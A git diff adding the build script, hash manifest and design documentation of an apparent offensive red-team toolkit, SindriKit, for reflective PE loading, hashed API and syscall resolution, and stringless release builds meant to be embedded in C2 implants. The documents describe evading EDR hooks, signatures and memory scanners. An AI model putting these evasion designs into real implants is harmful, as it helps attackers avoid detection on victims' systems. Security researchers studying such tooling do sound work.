BUILD_CRTLESS=OFF +set CLEAN_BUILD=OFF +set RANDOMIZE=OFF + +:parse_args +if "%~1"=="" goto :done_args + +if /I "%~1"=="debug" ( + set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_ENABLE_DEBUG=ON + set BUILD_TIER=DEBUG +) else if /I "%~1"=="console" ( + set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_USE_PRINTF=ON + set BUILD_OUTPUT=CONSOLE +) else if /I "%~1"=="fnv1a" ( + set HASH_ALGO=FNV1A +) else if /I "%~1"=="djb2" ( + set HASH_ALGO=DJB2 +) else if /I "%~1"=="tests" ( + :: Tests automatically enable DEBUG, PRINTF, and POCS + set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_ENABLE_DEBUG=ON -DSND_USE_PRINTF=ON -DSND_BUILD_TESTS=ON -DSND_BUILD_PAYLOADS=ON + set BUILD_TIER=DEBUG + set BUILD_OUTPUT=CONSOLE + set BUILD_TESTS=ON + set BUILD_POCS=ON +) else if /I "%~1"=="pocs" ( + set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_BUILD_PAYLOADS=ON + set BUILD_POCS=ON +) else if /I "%~1"=="crtless" ( + set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_CRTLESS=ON + set BUILD_CRTLESS=ON +) else if /I "%~1"=="clean" ( + set CLEAN_BUILD=ON +) else if /I "%~1"=="random" ( + set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_RANDOMIZE_SEED=ON + set RANDOMIZE=ON +) else ( + echo [!] Unknown argument: %~1 + echo. + echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random] + echo. + echo debug Enable debug prints ^(default: silent^) + echo console Use printf output ^(default: OutputDebugString^) + echo djb2 Use DJB2 hashing ^(default^) + echo fnv1a Use FNV1A hashing + echo tests Build test fixtures ^(implies debug and console^) + echo pocs Build PoC binaries + echo crtless Build CRT-less + echo clean Delete build dirs before compiling + echo random Use randomized seed for compile-time hashes + exit /b 1 +) +shift +goto :parse_args + +:done_args +set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_HASH_ALGO=%HASH_ALGO% + +echo [*] SindriKit Build +echo [*] Tier : %BUILD_TIER% +echo [*] Output : %BUILD_OUTPUT% +echo [*] Hash : %HASH_ALGO% +echo [*] Tests : %BUILD_TESTS% +echo [*] PoCs : %BUILD_POCS% +echo [*] CRTless : %BUILD_CRTLESS% +echo [*] Random : %RANDOMIZE% +echo. + +if "%CLEAN_BUILD%"=="ON" ( + echo [*] Cleaning previous builds... + if exist build32 rmdir /s /q build32 + if exist build64 rmdir /s /q build64 + echo [+] Clean. + echo. +) + +echo [*] Configuring x86... +cmake -B build32 -A Win32 %CMAKE_FLAGS% +if %errorlevel% neq 0 ( + echo [!] CMake configure failed ^(x86^). + exit /b %errorlevel% +) + +echo [*] Building x86... +cmake --build build32 --config Release +if %errorlevel% neq 0 ( + echo [!] Build failed ^(x86^). + exit /b %errorlevel% +) +echo. + +echo [*] Configuring x64... +cmake -B build64 -A x64 %CMAKE_FLAGS% +if %errorlevel% neq 0 ( + echo [!] CMake configure failed ^(x64^). + exit /b %errorlevel% +) + +echo [*] Building x64... +cmake --build build64 --config Release +if %errorlevel% neq 0 ( + echo [!] Build failed ^(x64^). + exit /b %errorlevel% +) +echo. + +echo [+] Done. %BUILD_TIER% / %BUILD_OUTPUT% / %HASH_ALGO% +endlocal diff --git a/config/README.md b/config/README.md new file mode 100644 index 0000000..ba029fe --- /dev/null +++ b/config/README.md @@ -0,0 +1,7 @@ +# Build Configuration + +This directory holds declarative configuration files consumed by the build system's pre-build scripts. These files define *what* the framework needs to hash, and the scripts in `scripts/` determine *how*. + +## Table of Contents +- [hashes.ini](hashes.ini) + The single source of truth for all compile-time API string hashes. Organized into `[module::]` sections that map DLL names to their exported functions. The build system generates a hash for both the module name and every API listed beneath it. diff --git a/config/hashes.ini b/config/hashes.ini new file mode 100644 index 0000000..97583c0 --- /dev/null +++ b/config/hashes.ini @@ -0,0 +1,38 @@ +# ============================================================================= +# SindriKit Hash Manifest +# ============================================================================= +# This file is the single source of truth for all compile-time string hashes. +# The build system runs scripts/generate_hashes.py against it at build time and +# produces include/generated/sindri_hashes.h. +# +# FORMAT +# ------ +# Group API names under a [module::] section header. +# The build system automatically generates a hash for both the module name +# itself and every API listed beneath it. +# +# Standalone strings that do not belong to any module (e.g. registry key +# names, object paths) go under [extras]. No module hash is generated for +# that section. +# +# Lines beginning with # are comments and are ignored by the parser. +# Blank lines are ignored. +# +# ADDING A NEW DOMAIN +# ------------------- +# Add a new [module::] section for the target DLL and list the +# APIs your domain implementation calls. One build regenerates everything. +# ============================================================================= + + +# -- ntdll.dll ---------------------------------------------------------------- +# Syscall targets resolved via Hell's / Halo's / Tartarus' / VelesReek Gate. +# Also provides LdrLoadDll for the native module loader. +[module::ntdll.dll] +NtAllocateVirtualMemory +NtProtectVirtualMemory +NtFreeVirtualMemory +NtOpenSection +NtMapViewOfSection +NtClose +LdrLoadDll diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 0000000..0a43d32 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,31 @@ +# SindriKit Documentation + +This is the root of the SindriKit technical documentation tree. It is organized to mirror the framework's internal architecture: shared infrastructure at the base, architectural patterns above it, domain-specific techniques and API references at the leaves. + +## Table of Contents + +### 1. Introduction & Onboarding +- [**getting_started/**](getting_started/) + Onboarding guides for building SindriKit, configuring CMake, and running the first reflective loader. +- [**examples/**](examples/) + Standalone PoC walkthroughs demonstrating the framework across three operational profiles. + +### 2. The Core Framework +- [**architecture/**](architecture/) + Core design patterns governing the framework: Dependency Injection, State Machines, the Status System, and Red Team integration guidance. +- [**domains/**](domains/) + The actionable offensive capabilities: primitives, loaders, and planned future domains (evasion, injection). + +### 3. Internal Engines & Utilities +- [**parsers/**](parsers/) + PE format parsing engines: header validation, export/import resolution, base relocations, and TLS callback execution. +- [**common/**](common/) + Shared, domain-agnostic utilities: CRT-independent primitives, buffer bounds tracking, API hashing, disk I/O, and the debug output system. + +### 4. Build System & Quality Assurance +- [**config/**](config/) + Documentation for the declarative configuration files (hash manifests) consumed by the build system. +- [**scripts/**](scripts/) + Documentation for the pre-build automation scripts that generate compile-time hash headers. +- [**tests/**](tests/) + Documentation for the integration testing infrastructure: the data-driven test runner, PE mutation engine, and test payload fixtures. diff --git a/docs/architecture/README.md b/docs/architecture/README.md new file mode 100644 index 0000000..534605e --- /dev/null +++ b/docs/architecture/README.md @@ -0,0 +1,16 @@ +# Core Architecture + +This directory outlines the fundamental design patterns, execution models, and telemetry constraints governing the entire SindriKit framework. + +> [!CAUTION] +> **No Direct OS API Calls:** Domains in this framework are strictly forbidden from making direct calls to OS APIs (like `VirtualAlloc` or `NtProtectVirtualMemory`). All interactions must occur through Dependency Injection tables. + +## Table of Contents +- [dependency_injection.md](dependency_injection.md) + Explanation of the `snd_memory_api_t` and `snd_module_api_t` interface contracts that decouple offensive intent from execution mechanics. +- [state_machines.md](state_machines.md) + Details how complex operations (like loading or injecting) are broken into discrete, pausable stages for robust error handling. +- [status_system.md](status_system.md) + Documents the `snd_status_t` structure and the `SND_ENABLE_DEBUG` preprocessor macro used to strip plaintext error telemetry. +- [redteam_integration.md](redteam_integration.md) + Guide on linking SindriKit as an embedded engine into larger C2 implants and staging pipelines. diff --git a/docs/architecture/dependency_injection.md b/docs/architecture/dependency_injection.md new file mode 100644 index 0000000..bb64584 --- /dev/null +++ b/docs/architecture/dependency_injection.md @@ -0,0 +1,52 @@ +# Dependency Injection + +SindriKit utilizes a strict Dependency Injection (DI) pattern to decouple offensive intent from execution mechanics. This is a foundational architectural choice that enables the toolkit to remain highly evasive and adaptable. + +## The Problem with Hardcoded APIs + +Traditional reflective loaders and red team tools often hardcode their system interactions. A typical loader will directly call `VirtualAlloc`, `GetProcAddress`, or their `Nt` equivalents (`NtAllocateVirtualMemory`). This creates several problems: +1. **Inflexibility**: Changing from Win32 APIs to direct syscalls requires significant refactoring. +2. **Signaturing**: Hardcoded API strings or import table entries create strong static signatures. +3. **Telemetry**: Direct calls to monitored APIs trigger userland hooks placed by EDRs. + +## The SindriKit Approach + +> [!IMPORTANT] +> SindriKit never makes direct OS calls from its core engine. Instead, it relies on function pointer tables injected into the operation's context. + +These tables are defined in `include/sindri/primitives/os_api.h` via two primary structures: + +### Memory Capabilities (`snd_memory_api_t`) +Defines the primitive operations for memory management: +- `alloc`: Allocate memory (e.g., `VirtualAlloc`, `NtAllocateVirtualMemory`) +- `free`: Free memory +- `protect`: Change memory protections + +### Module Capabilities (`snd_module_api_t`) +Defines the primitive operations for module and import resolution: +- `load_library`: Load a module into the process +- `get_proc_address`: Resolve a function address +- `get_module_base`: Retrieve the base address of a loaded module + +These tables also support hash-based resolution (e.g., `load_library_hash`) to avoid plaintext strings. + +## Usage in Context + +When initializing an operation, such as a reflective loader, the operator explicitly injects the desired OS APIs into the context: + +```c +snd_loader_ctx_t ctx = {0}; + +// Inject standard Win32 APIs (for diagnostic/standard profiles) +ctx.mem_api = &snd_mem_win; +ctx.mod_api = &snd_mod_win; + +// OR Inject direct syscall native APIs (for stealth profiles) +ctx.mem_api = &snd_mem_native; +ctx.mod_api = &snd_mod_native; +``` + +Because the `snd_loader_ctx_t` relies entirely on `ctx.mem_api` and `ctx.mod_api`, the underlying execution primitive can be swapped effortlessly without altering the core reflective loading logic. + +## Custom Implementations +Because the DI pattern is interface-based, advanced operators can define their own `snd_memory_api_t` instances. For example, memory allocations could be routed through a custom hypervisor, a secondary process, or highly specific ROP chains, all while utilizing the standard SindriKit loader engine. diff --git a/docs/architecture/redteam_integration.md b/docs/architecture/redteam_integration.md new file mode 100644 index 0000000..e561fce --- /dev/null +++ b/docs/architecture/redteam_integration.md @@ -0,0 +1,48 @@ +# Redteam Integration + +While SindriKit can be compiled standalone via `build.bat` (e.g., `build.bat tests pocs`) to test the included Proof of Concepts, its primary mandate is entirely different. + +SindriKit is built specifically to serve as an embedded library powering larger offensive toolsets, such as C2 implants, custom loaders, and malware staging pipelines containing an arsenal of techniques. By acting as the foundational engine, it allows operators to completely ignore the repetitive boilerplate of execution mechanics and low-level debugging. Instead, developers can focus purely on offensive intent while relying on the framework's internal `snd_status_t` system to handle verbose telemetry during development. + +## CMake Integration + +The primary method for integrating SindriKit is via CMake. By dropping the repository into the parent project and utilizing `add_subdirectory()`, operators can link the core execution primitives seamlessly. + +```cmake +# Add SindriKit subdirectory +add_subdirectory(vendor/SindriKit) + +# Link your implant against the SindriKit engine +add_executable(implant src/main.c) +target_link_libraries(implant PRIVATE sindri::engine) +``` + +By linking `sindri::engine`, the implant inherits all of SindriKit's memory primitives, syscall resolvers, PE parsers, and reflective loading capabilities without requiring re-implementation or complex build script maintenance. + +## Algorithm Agility + +SindriKit natively supports "Algorithm Agility", allowing operators to rapidly swap out underlying evasion techniques globally across the entire toolkit during the build process. + +For instance, string hashing algorithms used for API resolution can be instantly changed via CMake variables: + +```cmake +set(SND_HASH_ALGO "DJB2" CACHE STRING "Hashing algorithm for API resolution") +``` + +The framework automatically invokes Python scripts (`scripts/generate_hashes.py`) at configure time to recompute compile-time hashes for the selected algorithm. Crucially, when `SND_RANDOMIZE_SEED=ON` is provided, this script is also responsible for injecting a randomized compile-time hash seed for each build run. This ensures that even if the same algorithm is used, the static signature of the API resolution table shifts completely between compilations without altering a single line of C code. + +## Bringing Your Own Mechanics (BYOM) + +Thanks to the Dependency Injection architecture, integrating SindriKit into an established redteam workflow is frictionless. If an implant already possesses a highly sophisticated, custom evasion technique for allocating memory (e.g., via a signed driver or an exotic process hollowing technique), forking SindriKit is unnecessary. + +An operator simply defines a `snd_memory_api_t` structure that points to the implant's proprietary functions, and injects it into the SindriKit loader context. SindriKit will utilize those custom mechanics to orchestrate its high-level operations. + +## Silent Build Profiles + +For production builds destined for target environments, SindriKit provides a SILENT build tier: + +```cmake +set(SND_ENABLE_DEBUG OFF CACHE BOOL "Disable verbose tracking for production builds") +``` + +This enforces the `SND_DEBUG=0` macro, which comprehensively strips all string literals, error logs, and state tracking output from the final `.rdata` section. This guarantees zero console output and minimizes the static footprint of the injected engine. diff --git a/docs/architecture/state_machines.md b/docs/architecture/state_machines.md new file mode 100644 index 0000000..f6a4350 --- /dev/null +++ b/docs/architecture/state_machines.md @@ -0,0 +1,46 @@ +# State Machines + +SindriKit is fundamentally designed around the concept of discrete State Machines. This is a global toolkit architecture pattern used to track the progression of any offensive capability—whether that is reflective loading, remote process injection, call stack spoofing, or token manipulation. + +Instead of executing complex offensive operations as a single, monolithic function, tasks are broken down into logical, sequential stages managed by a persistent context structure. + +## The Global Context Pattern + +Every major domain within SindriKit revolves around a domain-specific context structure. + +While the exact fields vary depending on the operation, every context struct adheres to a common pattern: +1. **Execution Primitives**: Pointers to the injected OS API tables (e.g., `mem_api`, `mod_api`) that govern how the operation interacts with the host. +2. **Target Data**: Pointers, handles, and metadata regarding the objective of the operation. +3. **The State Tracker**: An enumeration (`stage`) tracking precisely how far the operation has progressed. + +## Advantages of State Machines + +By decentralizing execution into trackable stages, the framework gains several critical capabilities: + +### 1. Granular Error Handling +If an operation fails, the context retains the exact stage where the failure occurred. This allows operators to pinpoint whether a payload failed during memory allocation, import resolution, or thread execution, enabling rapid triage without needing verbose debug logs that could compromise OpSec. + +### 2. Execution Pausing and Sleep Obfuscation +Because the state of the operation is entirely self-contained within the context structure, execution can be intentionally suspended. An operator can allocate memory, put the implant to sleep for a significant duration (to evade heuristic timing checks and memory scanners), and then safely resume mapping sections at a later time. The state machine ensures the engine picks up exactly where it left off. + +### 3. Enforced Ordering +The framework's internal API functions validate the current `stage` before executing. This prevents undefined behavior or out-of-order execution during manual, staged, or highly fragmented deployments. + +## Case Study: The Reflective Loader + +To demonstrate how this global pattern is implemented, the Reflective Loader domain—the first concrete system built into SindriKit—serves as the primary reference. + +The loader utilizes the `snd_loader_ctx_t` structure (defined in `include/sindri/loaders/reflective/engine.h`), which tracks its progression using the `snd_loader_stage_t` enumeration: + +- `SND_STAGE_UNINITIALIZED`: The context has been created but no PE parsing has occurred. +- `SND_STAGE_PARSED`: The raw payload has been validated and parsed. +- `SND_STAGE_MEM_ALLOCATED`: Virtual memory has been allocated via the injected `mem_api`. +- `SND_STAGE_SECTIONS_MAPPED`: PE sections have been copied to the virtual base. +- `SND_STAGE_RELOCATED`: Base relocations have been applied. +- `SND_STAGE_IMPORTS_RESOLVED`: The IAT has been populated via the injected `mod_api`. +- `SND_STAGE_READY_FOR_EXECUTION`: Memory protections have been applied; the payload is ready. +- `SND_STAGE_EXECUTED`: The entry point has been invoked. + +For example, if an operator attempts to call `snd_resolve_imports(ctx)`, the engine will explicitly verify that the context has at least reached `SND_STAGE_SECTIONS_MAPPED`. If it has not, the engine aborts and returns an error (`SND_STATUS_INVALID_STAGE_SEQUENCE`), preserving memory integrity and preventing catastrophic crashes. + +As future domains (such as injectors and spoofers) are added to the toolkit, they will inherently inherit and implement this identical State Machine paradigm. diff --git a/docs/architecture/status_system.md b/docs/architecture/status_system.md new file mode 100644 index 0000000..e12c703 --- /dev/null +++ b/docs/architecture/status_system.md @@ -0,0 +1,48 @@ +# The Status System + +SindriKit utilizes a universal status reporting mechanism built around the `snd_status_t` structure. Traditional C error handling (returning raw integers or `NULL` pointers) is often insufficient for complex offensive tooling, as it fails to capture critical contextual information (such as the underlying OS error code) when a failure occurs deep within an operation. + +The SindriKit status system is designed to provide maximum verbosity during development while guaranteeing absolute zero-footprint string literal emissions during production deployments. + +## The `snd_status_t` Structure + +Every function in the framework that can fail returns a `snd_status_t` object (defined in `include/sindri/common/status.h`). + +The structure tracks the following: +1. `code`: A unified `snd_status_code_t` enumeration detailing the exact framework-level error (e.g., `SND_STATUS_NT_HEADERS_TRUNCATED`, `SND_STATUS_SSN_NOT_FOUND`). +2. `os_error`: The native OS error code captured at the moment of failure (via `GetLastError()` or an NTSTATUS value). + +## Development vs. Production Tiers (OpSec) + +The true power of the status system lies in how it interacts with the `SND_DEBUG` preprocessor macro (controlled via the `SND_ENABLE_DEBUG` CMake variable). + +### Debug Tier (`SND_DEBUG=1`) +During development, the `snd_status_t` structure expands to include heavily detailed telemetry: +- `file`: The C source file where the error occurred (`__FILE__`). +- `line`: The exact line number (`__LINE__`). +- `context`: A dynamically formatted string buffer (up to 128 chars) providing hyper-specific details (e.g., "Failed to resolve API hash 0xDEADBEEF"). + +This allows operators to pinpoint exactly why an evasion primitive or loader sequence failed without relying on external debuggers. + +### Silent Tier (`SND_DEBUG=0`) +> [!CAUTION] +> When compiling for an operation, emitting plaintext string literals (like file paths or error contexts) into the payload's `.rdata` section creates massive, easily signatureable IOCs. + +When `SND_ENABLE_DEBUG` is disabled, the status macros dynamically shrink the `snd_status_t` struct: +- The `file`, `line`, and `context` fields are completely excised from the struct definition. +- The `SND_ERR_CTX` macro ignores all string formatting arguments. +- The compiled output is reduced to pure integer assignments (just `code` and `os_error`). + +This achieves a completely silent, stringless release build without forcing the operator to manually strip out error handling code. + +## Helper Macros + +Developers interact with the status system using a suite of context-aware macros: + +- `SND_OK`: Returns a successful status. +- `SND_ERR(code)`: Returns a generic framework error. +- `SND_ERR_W32(code)`: Returns a framework error and automatically captures `GetLastError()`. +- `SND_ERR_CTX(code, fmt, ...)`: Returns an error with a custom `printf`-style formatted string (which is automatically stripped in Silent builds). +- `SND_ERR_W32_CTX(code, fmt, ...)`: Combines OS error capturing with custom string context. + +By strictly adhering to this pattern, all toolkit domains inherit both robust diagnostics and guaranteed operational security. diff --git a/docs/common/README.md b/docs/common/README.md new file mode 100644 index 0000000..b90bd64 --- /dev/null +++ b/docs/common/README.md @@ -0,0 +1,9 @@ +# Common Infrastructure + +This directory documents the shared, domain-agnostic utilities that underpin the entire SindriKit framework. These headers live under `include/sindri/common/` and provide CRT-independent primitives, buffer lifecycle management, API hashing, and the diagnostic status system. + +## Table of Contents +- [infrastructure.md](infrastructure.md) + Conceptual breakdown of how SindriKit achieves full CRT independence, how buffer bounds tracking prevents memory corruption, and how the compile-time hashing pipeline eliminates plaintext strings. +- [api_reference.md](api_reference.md) + Complete API documentation for buffers, hashing, CRT replacement primitives, disk I/O, and the debug output system. diff --git a/docs/common/api_reference.md b/docs/common/api_reference.md new file mode 100644 index 0000000..b919347 --- /dev/null +++ b/docs/common/api_reference.md @@ -0,0 +1,353 @@ +# Common: API Reference + +This page documents the public API surface of the shared infrastructure headers under `include/sindri/common/`. + +--- + +## Buffer Management (`sindri/common/buffer.h`) + +### `snd_buffer_t` + +Tracked memory buffer structure. Pairs a data pointer with its size and an optional deallocation callback. + +| Field | Type | Description | +|---|---|---| +| `data` | `LPVOID` | Pointer to the memory block | +| `size` | `SIZE_T` | Size of the memory block in bytes | +| `free_routine` | `snd_free_cb` | Optional callback invoked by `snd_buffer_free` to release the memory | + +--- + +### `snd_buffer_init` + +Initializes a buffer structure with tracking metadata. + +| Parameter | Type | Description | +|---|---|---| +| `buf` | `snd_buffer_t*` | Buffer structure to initialize | +| `data` | `LPVOID` | Pointer to the memory block | +| `size` | `SIZE_T` | Size of the memory block | +| `free_routine` | `snd_free_cb` | Optional cleanup callback; may be NULL | + +**Returns:** `void` + +--- + +### `snd_buffer_free` + +Invokes the buffer's assigned `free_routine` (if non-NULL) and zeroes the structure fields. + +| Parameter | Type | Description | +|---|---|---| +| `buf` | `snd_buffer_t*` | Buffer to free and zero | + +**Returns:** `void` + +--- + +### Pre-built Free Routines + +| Function | Backend | Use Case | +|---|---|---| +| `snd_buffer_free_heap` | `HeapFree(GetProcessHeap(), ...)` | Buffers allocated via `HeapAlloc` | +| `snd_buffer_free_virtual` | `VirtualFree(..., MEM_RELEASE)` | Buffers allocated via `VirtualAlloc` | +| `snd_buffer_free_mapped` | `UnmapViewOfFile(...)` | Buffers created via `MapViewOfFile` | + +--- + +## Bounds Checking (`sindri/common/helpers.h`) + +All bounds-checking functions are force-inlined to eliminate call overhead. + +### `snd_bounds_check` + +Pure arithmetic bounds validation. Returns `TRUE` if `offset + size` fits within `total_size`. + +| Parameter | Type | Description | +|---|---|---| +| `total_size` | `SIZE_T` | Total size of the region | +| `offset` | `SIZE_T` | Offset from the start | +| `size` | `SIZE_T` | Size of the sub-region to validate | + +**Returns:** `BOOL` + +--- + +### `snd_buffer_bounds_check` + +Validates an `(offset, size)` pair against a tracked `snd_buffer_t`. Returns `FALSE` if the buffer is NULL, empty, or the region exceeds bounds. + +| Parameter | Type | Description | +|---|---|---| +| `buf` | `const snd_buffer_t*` | Tracked buffer to validate against | +| `offset` | `SIZE_T` | Offset from `buf->data` | +| `size` | `SIZE_T` | Size of the sub-region | + +**Returns:** `BOOL` + +--- + +### `snd_ptr_bounds_check` + +Validates an arbitrary pointer against a known base region. Computes the offset from `base` to `ptr` and delegates to `snd_bounds_check`. + +| Parameter | Type | Description | +|---|---|---| +| `base` | `const void*` | Base pointer of the known region | +| `total_size` | `SIZE_T` | Total size of the region | +| `ptr` | `const void*` | Target pointer to validate | +| `size` | `SIZE_T` | Size of the access at the target pointer | + +**Returns:** `BOOL` + +--- + +## CRT Replacement Primitives (`sindri/common/helpers.h`) + +### `snd_memzero` + +Zeroes `size` bytes at `dest` using a `volatile BYTE*` loop to prevent compiler elision. + +| Parameter | Type | Description | +|---|---|---| +| `dest` | `void*` | Destination pointer | +| `size` | `size_t` | Number of bytes to zero | + +--- + +### `snd_memcpy` + +Copies `count` bytes from `src` to `dest`. No alignment assumptions. + +| Parameter | Type | Description | +|---|---|---| +| `dest` | `void*` | Destination pointer | +| `src` | `const void*` | Source pointer | +| `count` | `size_t` | Number of bytes to copy | + +--- + +### `snd_strnlen` + +Returns the length of `str`, up to a maximum of `max_len`. + +| Parameter | Type | Description | +|---|---|---| +| `str` | `const char*` | Input string | +| `max_len` | `size_t` | Maximum characters to scan | + +**Returns:** `size_t` + +--- + +### `snd_strncpy` + +Copies up to `max_src_len` characters from `src` into `dest`, always null-terminating. Never writes more than `dest_size` bytes. + +| Parameter | Type | Description | +|---|---|---| +| `dest` | `char*` | Destination buffer | +| `dest_size` | `size_t` | Total size of the destination buffer | +| `src` | `const char*` | Source string | +| `max_src_len` | `size_t` | Maximum characters to copy from source | + +--- + +### `snd_strncat` + +Appends up to `max_src_len` characters from `src` to `dest`, respecting `dest_size` and always null-terminating. + +| Parameter | Type | Description | +|---|---|---| +| `dest` | `char*` | Destination buffer (must already be null-terminated) | +| `dest_size` | `SIZE_T` | Total size of the destination buffer | +| `src` | `const char*` | Source string to append | +| `max_src_len` | `SIZE_T` | Maximum characters to append | + +--- + +### `snd_strnchr` + +Searches for character `c` within the first `max_len` characters of `str`. + +| Parameter | Type | Description | +|---|---|---| +| `str` | `const char*` | String to search | +| `c` | `char` | Character to find | +| `max_len` | `SIZE_T` | Maximum characters to scan | + +**Returns:** `const char*` — pointer to the first occurrence, or `NULL`. + +--- + +### `snd_strncmp` + +Compares up to `max_len` characters of `s1` and `s2`. + +| Parameter | Type | Description | +|---|---|---| +| `s1` | `const char*` | First string | +| `s2` | `const char*` | Second string | +| `max_len` | `SIZE_T` | Maximum characters to compare | + +**Returns:** `int` — `<0` if `s1 < s2`, `0` if equal, `>0` if `s1 > s2`. + +--- + +## Hashing (`sindri/common/hash.h`) + +### `snd_hash` + +Computes the configured hash of an ASCII string. Case-sensitive. + +| Parameter | Type | Description | +|---|---|---| +| `str` | `const char*` | Null-terminated ASCII string | + +**Returns:** `DWORD` — computed hash value. + +**Primary use:** Hashing export names from the PE Export Address Table (e.g., `NtAllocateVirtualMemory`). + +--- + +### `snd_hash_lower` + +Computes the configured hash of an ASCII string after lowering each character. + +| Parameter | Type | Description | +|---|---|---| +| `str` | `const char*` | Null-terminated ASCII string | + +**Returns:** `DWORD` — computed hash value. + +**Primary use:** Hashing DLL names from the PE Import Directory (e.g., `KERNEL32.dll`). + +--- + +### `snd_hash_wide_lower` + +Computes the configured hash of a wide (UTF-16) string after lowering each character. + +| Parameter | Type | Description | +|---|---|---| +| `str` | `const wchar_t*` | Null-terminated wide string | + +**Returns:** `DWORD` — computed hash value. + +**Primary use:** Hashing module names from the PEB's `InMemoryOrderModuleList` (e.g., `L"ntdll.dll"`). + +--- + +## Disk I/O (`sindri/common/disk.h`) + +### `snd_buffer_load_from_disk` + +Reads an entire file into a heap-allocated `snd_buffer_t`. The buffer's `free_routine` is set to `snd_buffer_free_heap`. + +| Parameter | Type | Description | +|---|---|---| +| `path` | `const char*` | Null-terminated file path | +| `out_buf` | `snd_buffer_t*` | Output buffer; must be zeroed before the call | + +**Returns:** `snd_status_t` — `SND_OK` on success, or an I/O error (`SND_STATUS_INVALID_PATH`, `SND_STATUS_FILE_CREATE_FAILED`, `SND_STATUS_FILE_READ_FAILED`, etc.). + +> [!NOTE] +> The caller is responsible for releasing the buffer via `snd_buffer_free(out_buf)`. + +--- + +## Debug Output (`sindri/common/helpers.h`) + +### `SND_DEBUG_PRINT(fmt, ...)` + +Macro that emits a formatted debug string. Compiles to a no-op when `SND_DEBUG=0`. + +### `SND_FDEBUG_PRINT(stream, fmt, ...)` + +Macro that emits a formatted debug string to a specific file stream. Only meaningful when `SND_USE_PRINTF=1`; otherwise routes to `OutputDebugStringA`. + +### `snd_dump_hex` + +Prints a combined hexadecimal and ASCII view of a byte buffer. Output is gated by `SND_DEBUG`. + +| Parameter | Type | Description | +|---|---|---| +| `dat` | `const void*` | Pointer to the data to dump | +| `len_dat` | `size_t` | Number of bytes to dump | +| `base_off` | `ULONG_PTR` | Base address for computing printed offsets | + +### `SND_DEBUG_MAX_LEN` + +**Value:** `1024` + +Maximum length of a formatted debug string buffer used internally by `snd_debug_print_internal`. + +--- + +### `snd_debug_print_internal` + +Internal function invoked by `SND_DEBUG_PRINT` and `SND_FDEBUG_PRINT` to safely format and print debug strings up to `SND_DEBUG_MAX_LEN`. Stripped when `SND_DEBUG=0`. + +--- + +## Status System (`sindri/common/status.h`) + +### `SND_MAX_CTX_LEN` + +**Value:** `128` + +Maximum length of the formatted error context string embedded within the `snd_status_t` structure. + +--- + +### `snd_status_print` + +Translates a `snd_status_t` code into a human-readable string using the framework's global status translation table. Also prints the context buffer if one is present. + +| Parameter | Type | Description | +|---|---|---| +| `status` | `snd_status_t` | The status code/struct to translate and print | + +**Returns:** `void` + +--- + +## Internal NT Definitions (`sindri/internal/nt_defs.h`) + +While primarily internal, the following constants and macros are explicitly defined to avoid dependency on the massive `` header. + +### `SND_PAGE_SIZE` + +**Value:** `0x1000` (4096 bytes) + +Standard x86/x64 memory page size. + +### `SND_OBJ_CASE_INSENSITIVE` + +**Value:** `0x00000040L` + +Object Manager flag indicating case-insensitive string evaluation. + +### `SND_InitializeObjectAttributes` + +Macro that zeroes and initializes an `OBJECT_ATTRIBUTES` structure with the provided Root Directory, Object Name, and Attributes. Mirrors the standard `InitializeObjectAttributes` macro. + +--- + +## Utility Macros (`sindri/common/helpers.h`) + +### `SND_PTR_ADD(base, offset)` + +Safely adds a byte offset to a base pointer by casting through `BYTE*`. + +```c +PVOID target = SND_PTR_ADD(image_base, rva); +``` + +### `SND_FORCE_INLINE` + +Compiler-agnostic macro for forcing function inlining. Expands to `static __forceinline` on MSVC and `static inline __attribute__((always_inline))` on GCC/Clang. + +### `SND_BEGIN_EXTERN_C` / `SND_END_EXTERN_C` + +C++ linkage compatibility wrappers. Expand to `extern "C" { ... }` when compiled as C++, empty otherwise. diff --git a/docs/common/infrastructure.md b/docs/common/infrastructure.md new file mode 100644 index 0000000..52ff9aa --- /dev/null +++ b/docs/common/infrastructure.md @@ -0,0 +1,98 @@ +# Common Infrastructure + +The `include/sindri/common/` headers provide the shared utilities that every domain in the framework depends on. They solve three fundamental problems: eliminating the C Runtime dependency, tracking buffer bounds to prevent memory corruption, and removing plaintext API strings from the compiled binary. + +--- + +## CRT Independence + +SindriKit is designed to compile under `/NODEFAULTLIB` (MSVC), completely stripping the Microsoft C Runtime from the final binary. This is a hard requirement for position-independent shellcode and for minimizing the import table footprint of implants. + +The standard C library functions that the framework requires are reimplemented as compiler-intrinsic-safe inline functions inside `include/sindri/common/helpers.h`: + +| CRT Function | SindriKit Replacement | Notes | +|---|---|---| +| `memset` | `snd_memzero` | Uses `volatile BYTE*` to prevent compiler optimization from eliding the zeroing loop | +| `memcpy` | `snd_memcpy` | Byte-by-byte copy with no alignment assumptions | +| `strnlen` | `snd_strnlen` | Bounded length evaluation | +| `strncpy` / `strncpy_s` | `snd_strncpy` | Truncation-safe; always null-terminates | +| `strcat` / `strcat_s` | `snd_strncat` | Bounded concatenation with null-termination guarantee | +| `strchr` | `snd_strnchr` | Bounded character search | +| `strcmp` / `strncmp` | `snd_strncmp` | Bounded comparison returning standard `<0 / 0 / >0` semantics | + +Additionally, `src/common/crt_manifest.c` provides the compiler-required `memcpy` and `memset` symbols that MSVC's code generation emits implicitly (e.g., for struct copies and zero-initialization). Without these symbols, linking under `/NODEFAULTLIB` produces unresolved external errors even if the source code never explicitly calls `memcpy`. + +> [!CAUTION] +> Enabling `SND_DEBUG=1` or `SND_USE_PRINTF=1` pulls in `` and ``, which reintroduce CRT dependencies. These flags **must** be disabled (`SND_DEBUG=0`) for any `/NODEFAULTLIB` build. + +--- + +## Buffer Bounds Tracking + +SindriKit wraps all raw memory pointers in a `snd_buffer_t` structure that pairs the data pointer with a tracked size. Every access into a buffer — whether parsing PE headers, walking export tables, or applying relocations — is routed through bounds-checking functions that validate `(offset, size)` against the tracked total before dereferencing. + +### `snd_buffer_t` + +```c +struct snd_buffer_s { + LPVOID data; + SIZE_T size; + snd_free_cb free_routine; // optional cleanup callback +}; +``` + +The `free_routine` callback supports polymorphic 